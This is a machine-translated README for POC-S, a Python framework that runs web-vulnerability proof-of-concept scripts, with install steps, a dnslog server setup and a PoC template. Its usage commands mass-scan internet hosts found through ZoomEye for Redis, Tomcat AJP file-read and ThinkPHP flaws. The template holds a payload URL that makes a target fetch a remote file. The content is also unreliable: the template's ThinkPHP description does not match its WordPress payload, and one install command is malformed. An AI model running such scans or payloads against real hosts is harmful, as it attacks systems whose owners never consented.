
POC-S, version renforcée de POC-T, est conçu pour valider rapidement les vulnérabilités des applications Web lors de confrontations red team/blue team. Il comprend des fonctionnalités renforcées, l'ajout et la classification de scripts, ainsi qu'un dnslog intégré, etc. La plateforme est complétée par des POC à haute disponibilité issus des machines cibles vulhub et d'autres projets open source.
La documentation wiki de POC-T est dans le dossier doc.
Préface : Actuellement
Utiliser POC-S pour attaquer une cible sans consentement préalable des deux parties est illégal. POC-S est uniquement destiné à des fins de test de sécurité.
pocs/poc-s, sépare le framework du PoC, permet de placer les PoC personnalisés dans n'importe quel répertoire.TODO
--init pour mettre à jour dynamiquement le fichier de configuration tookit.conf, par exemple : --init zoomeye, initialise la configuration de ZoomEye.ceye.py et dnslog.py.pocsapi.py, fonctionnalités similaires à sqlmapapi.Étant donné que les interfaces tierces nécessitent une authentification, vous pouvez utiliser le paramètre
--initpour initialiser la configuration de votre interface, par exemple :--init zoomeye
pip install pocs
Installation depuis les sources :
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
Si l'installation de pocs avec pip renvoie une erreur "Some files missing", vous devez vous rendre dans le répertoire d'installation de pocs (python2.7\Lib\site-packages\pocs) et renommer tookit.conf. Si l'erreur
WARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments.apparaît, il s'agit d'un problème de dépendance de paquet. Veuillez vérifier et mettre à jour les versions de ces paquets :setuptools==39.0.1,cachetools==3.1.1,google-api-python-client==1.7.11.
pocs -s test/test2.py -iS 127.0.0.1 #加载script/test/test2.py脚本
pocs -s test2 -iS 127.0.0.1 # 加载script/test2.py脚本
pocs -b test -iS 127.0.0.1 # 批量加载/script/test目录下的所有脚本
pocs -b test -s test2.py -iS 127.0.0.1 #加载script/test/test2.py脚本
pocs -s myself_script.py -iS 127.0.0.1 # 加载自定义的脚本和脚本目录
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye //初始化zoomeye的配置信息
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
Utilisation de ZoomEye pour rechercher en masse la vulnérabilité CNVD-2020-10487 (tomcat ajp lfi).
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

Si vous êtes toujours préoccupé par l'instabilité de ceye et que vous n'avez pas le temps ou l'énergie de construire une plateforme DNSLog (nécessite deux noms de domaine, une IP publique, et le nom de domaine doit pouvoir modifier les serveurs DNS), alors pourquoi ne pas essayer la plateforme dnslog simple fournie par POC-S, qui ne nécessite qu'un nom de domaine et une IP publique pour être construite, et fournit une interface API pour la vérification (sans interface utilisateur).
Supposons que dnslog.xxx.cn soit votre nom de domaine public et x.x.x.x votre IP publique, assurez-vous que dnslog.xxx.cn puisse résoudre correctement en x.x.x.x, sinon l'API ne sera pas accessible.
Exécutez la commande sur l'IP publique (x.x.x.x) :
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88(如果不是pip安装的可以直接运行pocs.dnslog.py脚本)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>>dns ip: x.x.x.x
La commande dns log ne prend en charge que la commande nslookup : nslookup 1234.dnslog.xxx.cn x.x.x.x
Si vous souhaitez utiliser la commande
ping 1234.dnslog.xxx.cn, vous pouvez également configurer un serveur de noms personnalisé pour le domainexxx.cn(consultez la configuration de DNSLog).
Commande web log : curl http://dnslog.xxx.cn:88/weblog/poc123
Adresse de l'API : http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
Paramètres :
- token : obligatoire, l'api_key saisi lors de la construction du dnslog.
- type : obligatoire, valeurs possibles : dns/web.
- filter : facultatif, filtre les enregistrements, correspondance exacte.
pocs offre une classification des plugins plus flexible. Actuellement, il existe quatre catégories de PoC : Fuzz PoC, OWASP PoC, Vuln PoC, Tool PoC. Cette section PoC essaiera de collecter certains PoC existants sur GitHub, mais pas trop, il appartient à chacun de collecter et organiser. f
La rédaction des PoC sera aussi normalisée que possible, suivant le style de rédaction de POC-T. Exemple ci-dessous :
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 远程代码执行漏洞
Desc
2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,
受影响的版本包括5.0.23和5.1.31之前的所有版本,推荐尽快更新到最新版本。
Version
ThinkPHP5.0 版本 <= 5.0.22 ThinkPHP5.1 版本 <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
Principalement issus de l'écriture de plugins pour vulhub et des plugins PoC intégrés à POC-T, seuls des PoC très utilisables sont ajoutés. Chaque PoC listé ci-dessous a été vérifié en construisant l'environnement un par un. Si un PoC est erroné, veuillez ouvrir une issue pour me contacter.
Source : boy-hack/POC-T
Source : scripts de détection de hunter
Quelques PoC d'outils courants, fournissant des moteurs de recherche et des fonctions de recherche d'information.
D'autres PoC open source comme ceux du projet https://github.com/boy-hack/airbug sont disponibles et peuvent être utilisés directement, mais il y a une bibliothèque HackRequest qui est en py3, elle doit être modifiée pour Python 2. Vous pouvez installer directement ma bibliothèque modifiée pour py2 : https://github.com/jiangsir404/hack-requests